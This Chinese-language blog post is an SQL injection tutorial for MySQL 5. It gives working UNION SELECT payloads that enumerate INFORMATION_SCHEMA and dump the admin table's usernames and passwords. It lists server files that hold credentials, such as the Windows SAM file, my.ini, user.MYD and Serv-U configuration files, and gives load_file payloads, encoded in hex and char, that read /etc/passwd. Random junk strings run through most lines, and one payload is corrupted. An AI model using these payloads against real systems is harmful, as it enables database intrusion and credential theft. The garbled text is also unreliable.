mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。



Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称
- W6 |' ?$ I" f( y; B7 W
|TABLES ->存储表名
! y- A2 o  N2 G0 q# G7 O" x|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
% }1 P" m- R3 M0 y' d% Q6 U$ A|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
) Y4 f: b! G7 S|—字段：TABLE_SCHEMA ->该字段所属数据库名
, W0 T6 W! z' r/ A$ d|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称

( k# [* l% c9 R) s+ k& p0 Q4 k; `#########################################################################
##
7 u+ D9 y4 ^& f+ ^
" }: E: S8 U; T5 I; u0×001 获取系统信息:
5 W0 Q5 h$ O( e: Y. W0 _
union select 1,2,3,4,5,concat
$ f* x( G& I8 p: h$ ~( S/ u(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

' A* l& N: W0 L, q' w9 S/*
( {! L* ^' U8 D( d& V
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

" @) u" T0 ?$ E& g( h( ^*/

4 L/ {6 q$ E3 a2 R, ]' B######################################################################
+ f8 f7 S0 n3 L- r: ^$ {
0×002 获取表名
: U$ \+ Q7 h' c, Q" U. Q7 ~5 {
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
1 \) F# O' |3 p6 O$ f/ ~information_schema.tables where table_schema=0x67617264656e /*
8 U" i) P" K# V. O
) `1 `% K4 H, [) v/*

0x67617264656e 为当前数据库名

& O  L* D$ m- sgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
3 ?2 ~: O6 S7 i2 s
*/
. M* y  Q- ^4 G! C7 U, \
& N+ @4 d6 |# D% O) r######################################################################
% m" d( V7 j$ D( w
" [9 Z  m% f- l0×003 获取字段
& N% M, g# w, B0 Q% t! @
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and
$ c9 Q, L' G+ P, Z& T

table_schema=0x67617264656e limit 1 /*

, g! B* n: L6 b! P6 A/*

) g! ~5 \0 c* g* L, Y! zgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

5 C6 @3 V  R5 ~. I1 V0x61646d696e ->选择一个表
, |5 \0 [3 f: D# h$ W+ x
0x67617264656e ->数据库名
6 J* v( t0 X2 m8 Z. ~) N
*/
* H: r! X% u* Q6 H9 Y: g
1 I6 t8 b' u$ l#####################################################################

0×004 获取数据
3 ~/ ?, [& R' j+ R* L; V4 S) o
0 C3 y* x* g4 `; ~! Vunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

4 B% t( Y# \% d* u) punion select 1,group_concat(id),group_concat(adname),4,5,group_concat
- i- l& s# K5 c(adpassword),6,7,8 from admin

( a) T/ S1 G0 o. u8 L( W  `% ~. @, w/*
8 O* r& T; }7 A$ z$ E  h; H- w
0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据

( v; `' r; ^. e3 z6 x% V*/

+ x- o0 E" C( ^9 D9 d/ c; G


& d! a6 l, v8 h( i- [- w# ?
顺便添加一些mysql注入时非常有用的一些东西
5 r! M# d2 L6 X
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

, J7 R9 c$ G( C' @+ g9 B& Y6 H) Q1:system_user() 系统用户名
4 v8 X7 n9 f4 e2 [- e! T* Y2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
" V8 [! @4 x$ L: S. B) _2 D10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
WINDOWS下:
7 t8 _0 Q: H, [c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
+ h% W* q, D& \( Wc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
4 [$ Q5 b4 K* X! W5 K( Ac:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
+ A2 f3 [7 b/ ]3 tC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
& D+ K9 k! m% qc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.


* V' O; a( s& Sc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
, a6 B, ?: O9 f1 K( s' k# `# td:\APACHE\Apache2\conf\httpd.conf
, x  o7 z6 y; |7 C7 o  v- yC:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
% l3 F2 F! k$ b$ k0 F/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
6 ]- m, y1 P! A9 e7 M: I/usr/local/apache2/conf/httpd.conf
1 j) {1 M* c& Y9 C$ T/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
3 @$ `# W0 L: u$ I' y3 @4 U2 ?/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
5 G5 x2 {- y1 s  ?6 ~5 H/etc/rsyncd.conf //同步程序配置文件
" C( K- N- l( D& |  j- E6 r/etc/my.cnf //mysql的配置文件
7 ?  e! d) k' C9 z, K( t3 P8 H- l/etc/redhat-release //系统版本
9 W' |2 G* q' U4 h- L; v/etc/issue
/ m5 b' Z2 V/ r- Y$ F2 D+ |# J/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
1 ~5 f5 Z4 V7 r: `/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
$ P/ s, N9 p6 u/ y/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
3 K5 e; }7 _" m/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
- U' ^9 G& G2 f5 E7 Nload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
; [2 Q& K: W1 w" T3 Ureplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
/ G) D9 C* o/ ]* ~! g. Breplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
5 C4 R% O/ x6 c& i% i, N上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

8 g1 ]. d$ i0 a( N! i) q: R* Z